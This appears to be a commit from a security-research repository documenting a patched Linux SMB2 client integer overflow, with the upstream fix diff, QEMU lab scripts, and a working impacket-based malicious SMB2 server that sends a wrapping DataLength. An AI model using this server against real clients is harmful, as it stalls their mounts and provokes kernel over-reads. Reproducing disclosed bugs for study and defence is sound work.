initial: research mono-repo, first finding cifs-smb2-read-overflow

Companion repository for the writeups at https://trexnegro.github.io.
Each subdirectory is one finding with its own README, reproducer, and
artifacts.

First entry: cifs-smb2-read-overflow — Linux kernel integer overflow
in fs/smb/client/{transport.c,smb2ops.c}, fixed upstream in mainline
commit 81a874233c305d29e37fdb70b691ff4254294c0b and AUTOSEL'd to
stable on 2026-05-20. Includes impacket-based malicious server, QEMU
lab scripts, and side-by-side KASAN traces (vulnerable ~245s stall
vs patched ~66s clean shutdown).

Companion writeup:
https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/
This commit is contained in:
SixSixSix
2026-06-01 23:49:43 +00:00
commit 6c71bedba9
10 changed files with 2934 additions and 0 deletions
+9
View File
@@ -0,0 +1,9 @@
__pycache__/
*.pyc
*.pyo
*.swp
*~
/build/
/.idea/
/.vscode/
/venv/
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 SixSixSix
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+43
View File
@@ -0,0 +1,43 @@
# research
PoCs, reproducers, and supporting artifacts for the writeups at
**<https://trexnegro.github.io>**.
Each subdirectory corresponds to one finding or research note and contains
the minimum needed to reproduce or audit it. New entries are appended over
time; older entries are not rewritten unless the upstream fix changes shape.
## Index
| Finding | Class | Status | Companion writeup |
|---|---|---|---|
| [`cifs-smb2-read-overflow/`](./cifs-smb2-read-overflow) | Linux kernel — cifs / SMB2 client | Patched upstream (`81a8742`), AUTOSEL'd to stable 2026-05-20 | [u32 + u32 = 0 is still a bug in 2026](https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/) |
## Conventions
- Each finding's directory contains its own `README.md` with the bug,
affected versions, and step-by-step reproduction.
- Code is MIT-licensed (see top-level `LICENSE`) unless a subdir overrides.
- Logs included under `logs/` are redacted of build-host identifiers but
otherwise verbatim.
- Nothing in this repository carries customer data, third-party PII, or
any artifact that depends on credentials.
## Scope
Authorised security research and education only. Reproducers exist to make
public, upstream-fixed bugs verifiable for defenders and curious readers.
Do not point reproducers at systems you do not own or have explicit, written
permission to test.
## Contact
Issues / pull requests / corrections welcome on this repository.
For coordinated-disclosure work — including kernel.org `security@kernel.org`,
vendor PSIRTs, or HackerOne-mediated programs — contact via the channel
listed on the [About page of the writeup site](https://trexnegro.github.io/about/).
## License
MIT. See `LICENSE` at the repository root.
+127
View File
@@ -0,0 +1,127 @@
# cifs-smb2-read-overflow
Reproducer for an integer overflow in the Linux SMB2 client (`fs/smb/client/`)
that lets a malicious SMB server stall a `mount.cifs` mount for 180 seconds
per READ. Fixed upstream in `81a874233c305d29e37fdb70b691ff4254294c0b` ("smb:
client: avoid integer overflow in SMB2 READ length check"), AUTOSEL'd to
stable on 2026-05-20.
This is one finding inside the unified `research` repository. Top-level
index: [`../README.md`](../README.md).
Companion write-up:
**<https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/>**
## What the bug is
`cifs_readv_receive()` and `handle_read_data()` validate the SMB2 READ
response with an unguarded sum:
```c
if (!use_rdma_mr && (data_offset + data_len > buflen)) /* transport.c */
return -1;
} else if (buf_len >= data_offset + data_len) { /* smb2ops.c */
copy_to_iter(buf + data_offset, data_len, &rdata->subreq.io_iter);
```
Both `data_offset` and `data_len` are `unsigned int`. A malicious server that
replies with `DataOffset = 0x50` and `DataLength = 0xFFFFFFB0` wraps the sum
to `0`, the check passes, and the kernel walks into reading ~4 GiB off the
TCP socket — stalling for the 180-second response timeout before reconnecting.
## Layout
```
server/malicious_server.py impacket-based hostile SMB2 server
lab/run-vulnerable.sh QEMU lifter against an unpatched bzImage
lab/run-patched.sh same lifter against a patched bzImage
lab/init.sh guest init script (place in initrd as /init)
logs/qemu-vulnerable-redacted.log ~245 s vulnerable run (stall + reconnect)
logs/qemu-patched-clean.log ~66 s patched run (clean shutdown)
```
## Running it
Pre-reqs on the host:
- Python 3.10+ with `pip install impacket` (>=0.11)
- QEMU 10+ with TCG (KVM not required)
- A Linux source tree at `linux-v7.0` or earlier (vulnerable) for one run
- A Linux source tree at `linux-v7.1+` or with the patch backported (patched)
for comparison
Build kernels with at minimum:
```
CONFIG_CIFS=y
CONFIG_KASAN_GENERIC=y
CONFIG_KASAN_OUTLINE=y
CONFIG_FORTIFY_SOURCE=y
```
Pack an initrd containing `mount.cifs` and BusyBox, with `lab/init.sh`
installed as `/init`.
Then:
```bash
# vulnerable
export KERNEL=/path/to/vulnerable/arch/x86/boot/bzImage
export INITRD=/path/to/initrd.cpio.gz
./lab/run-vulnerable.sh
# patched
export KERNEL=/path/to/patched/arch/x86/boot/bzImage
./lab/run-patched.sh
```
Expected vulnerable output, around the 240-second mark:
```text
CIFS: VFS: \\10.0.2.2 has not responded in 180 seconds. Reconnecting...
CIFS: fs/smb/client/transport.c:
total_read=4294967273 buflen=144 remaining=4294967216
```
The `remaining=4294967216` value is `0xFFFFFFB0` — exactly the attacker's
`DataLength`. That value reaching the receive call is the smoking gun.
Patched output: mount + dd + clean shutdown in ~66 s, no `not responded`
line.
Sample side-by-side logs are included under `logs/`.
## The fix, for reference
The upstream patch wraps both sites with `check_add_overflow()`:
```diff
- } else if (buf_len >= data_offset + data_len) {
+ } else if (!check_add_overflow(data_offset, data_len, &end_off) &&
+ buf_len >= end_off) {
```
```diff
- if (!use_rdma_mr && (data_offset + data_len > buflen))
- return -1;
+ if (!use_rdma_mr) {
+ if (check_add_overflow(data_offset, data_len, &end_off))
+ return -1;
+ if (end_off > buflen)
+ return -1;
+ }
```
`check_add_overflow()` lives in `include/linux/overflow.h` and is already
used elsewhere in `fs/smb/`.
## Scope and intent
Authorised research / education use only. The malicious server is small,
boring, and easy to detect; it exists to make the bug reproducible on a
single workstation. Do not point it at servers you don't own.
## License
MIT — see [`../LICENSE`](../LICENSE) at the repository root.
+18
View File
@@ -0,0 +1,18 @@
#!/bin/sh
# Guest-side init script (place inside the initrd as /init).
# Brings up loopback + eth0, mounts the malicious share, attempts a read.
/bin/busybox --install -s
mount -t proc proc /proc
mount -t sysfs sys /sys
ifconfig lo up
ifconfig eth0 10.0.2.15 up
route add default gw 10.0.2.2
echo "[init] mounting //10.0.2.2/SHARE ..."
mount.cifs //10.0.2.2/SHARE /mnt \
-o sec=ntlmssp,vers=2.0,user=guest,password=,rsize=65536,port=1445
echo "[init] read attempt:"
dd if=/mnt/file of=/tmp/leak bs=4096 count=1
echo "[init] done"
sync
poweroff -f
+20
View File
@@ -0,0 +1,20 @@
#!/usr/bin/env bash
# Same as run-vulnerable.sh but expects KERNEL to point at a kernel built
# with commit 81a874233c305d29e37fdb70b691ff4254294c0b applied (or any tag
# >= v7.1 / stable backports).
set -e
: "${KERNEL:?point KERNEL at a PATCHED linux bzImage (>= v7.1 or stable backport)}"
: "${INITRD:?point INITRD at an initrd with mount.cifs}"
python3 server/malicious_server.py --port 1445 > logs/server-patched.log 2>&1 &
SRV=$!
trap "kill $SRV 2>/dev/null" EXIT
sleep 2
exec qemu-system-x86_64 \
-kernel "$KERNEL" -initrd "$INITRD" \
-append 'console=ttyS0 panic=1 oops=panic kasan_multi_shot loglevel=8' \
-nographic -m 1G -smp 2 \
-net nic,model=virtio \
-net user,hostfwd=tcp::1445-:1445 \
| tee logs/qemu-patched.log
+22
View File
@@ -0,0 +1,22 @@
#!/usr/bin/env bash
# Drive the vulnerable kernel against the malicious SMB2 server.
# Expects: KERNEL, INITRD env vars pointing at your built bzImage and an
# initrd with mount.cifs + busybox.
set -e
: "${KERNEL:?point KERNEL at a vulnerable linux-v7.0 bzImage}"
: "${INITRD:?point INITRD at an initrd with mount.cifs}"
# Start the malicious server in the background.
python3 server/malicious_server.py --port 1445 > logs/server.log 2>&1 &
SRV=$!
trap "kill $SRV 2>/dev/null" EXIT
sleep 2
# Boot the kernel under QEMU with host networking forwarding 1445.
exec qemu-system-x86_64 \
-kernel "$KERNEL" -initrd "$INITRD" \
-append 'console=ttyS0 panic=1 oops=panic kasan_multi_shot loglevel=8' \
-nographic -m 1G -smp 2 \
-net nic,model=virtio \
-net user,hostfwd=tcp::1445-:1445 \
| tee logs/qemu-vulnerable.log
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+119
View File
@@ -0,0 +1,119 @@
#!/usr/bin/env python3
"""
CIFS-SMB2-READ-OVERFLOW malicious SMB2 server (impacket-based).
Uses impacket's SimpleSMBServer for the boring parts (NEGOTIATE, NTLMSSP session
setup, TREE_CONNECT, CREATE) and monkey-patches SMB2Commands.smb2Read to return
a malformed SMB2_READ_RSP with:
DataOffset = 0x50
DataLength = 0xFFFFFFB0 (attacker-controlled __le32)
Buffer = 0xCC * 64 (marker bytes for visual identification)
On a vulnerable Linux CIFS client (linux-v7.0 @ <linux-v7.0-tag>) this triggers the
u32 + u32 wrap at fs/smb/client/transport.c:1259 or fs/smb/client/smb2ops.c:4839,
bypassing the bound check and leading to over-read via copy_to_iter() or
cifs_read_iter_from_socket().
Usage:
python3 malicious_server_impacket.py [port=1445] [share_dir=/tmp/share]
"""
import argparse
import logging
import os
import sys
import tempfile
from impacket import smb3structs as smb2
from impacket import smbserver
from impacket.smbserver import SMB2Commands, PIPE_FILE_DESCRIPTOR
# Note: STATUS_SMB_BAD_TID lives in impacket.smbserver as a module-level constant
from impacket.smbserver import STATUS_SMB_BAD_TID
from impacket.nt_errors import STATUS_INVALID_HANDLE, STATUS_ACCESS_DENIED
def malicious_smb2Read(connId, smbServer, recvPacket):
"""
Drop-in replacement for impacket.smbserver.SMB2Commands.smb2Read.
Identical bookkeeping; only DataOffset/DataLength are doctored on success.
"""
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Read_Response()
readRequest = smb2.SMB2Read(recvPacket['Data'])
respSMBCommand['Buffer'] = b'\x00'
if readRequest['FileID'].getData() == b'\xff' * 16:
if 'SMB2_CREATE' in connData['LastRequest']:
fileID = connData['LastRequest']['SMB2_CREATE']['FileID']
else:
fileID = readRequest['FileID'].getData()
else:
fileID = readRequest['FileID'].getData()
if recvPacket['TreeID'] in connData['ConnectedShares']:
if fileID in connData['OpenedFiles']:
fileHandle = connData['OpenedFiles'][fileID]['FileHandle']
errorCode = 0
try:
if fileHandle != PIPE_FILE_DESCRIPTOR:
offset = readRequest['Offset']
os.lseek(fileHandle, offset, 0)
content = os.read(fileHandle, readRequest['Length'])
else:
sock = connData['OpenedFiles'][fileID]['Socket']
content = sock.recv(readRequest['Length'])
# === CIFS-SMB2-READ-OVERFLOW PAYLOAD ===
respSMBCommand['DataOffset'] = 0x50
respSMBCommand['DataLength'] = 0xFFFFFFB0 # malicious: u32 wrap with DataOffset
respSMBCommand['DataRemaining'] = 0
# Keep buffer small but marker-tagged so leaked memory is recognisable
respSMBCommand['Buffer'] = b'\xCC' * 64
print(f"[!!!] SMB2_READ — malicious response: DataOffset=0x50 DataLength=0xFFFFFFB0", flush=True)
except Exception as e:
smbServer.log('SMB2_READ: %s ' % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_HANDLE
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--port", type=int, default=1445)
ap.add_argument("--share-dir", default=None)
args = ap.parse_args()
# Set up share directory with one regular file
share_dir = args.share_dir or tempfile.mkdtemp(prefix="ksmb01-share-")
os.makedirs(share_dir, exist_ok=True)
target_file = os.path.join(share_dir, "file")
if not os.path.exists(target_file):
with open(target_file, "wb") as f:
f.write(b"REAL-DATA-NEVER-SEEN " * 16)
print(f"[+] Share dir: {share_dir} (file: {target_file}, {os.path.getsize(target_file)} bytes)", flush=True)
# Monkey-patch BEFORE constructing the server (impacket binds methods at startup)
SMB2Commands.smb2Read = staticmethod(malicious_smb2Read)
print(f"[+] Monkey-patched impacket.smbserver.SMB2Commands.smb2Read", flush=True)
# Build server
server = smbserver.SimpleSMBServer(listenAddress="0.0.0.0", listenPort=args.port)
server.setSMB2Support(True)
server.addShare("SHARE", share_dir, "")
server.addCredential("guest", 0, "", "")
server.setLogFile("") # log to stdout
print(f"[+] CIFS-SMB2-READ-OVERFLOW impacket server listening on 0.0.0.0:{args.port}", flush=True)
print(f" Victim mount: mount -t cifs //10.0.2.2/SHARE /mnt "
f"-o sec=ntlmssp,user=guest,password=,vers=3.0,port={args.port}", flush=True)
server.start()
if __name__ == "__main__":
main()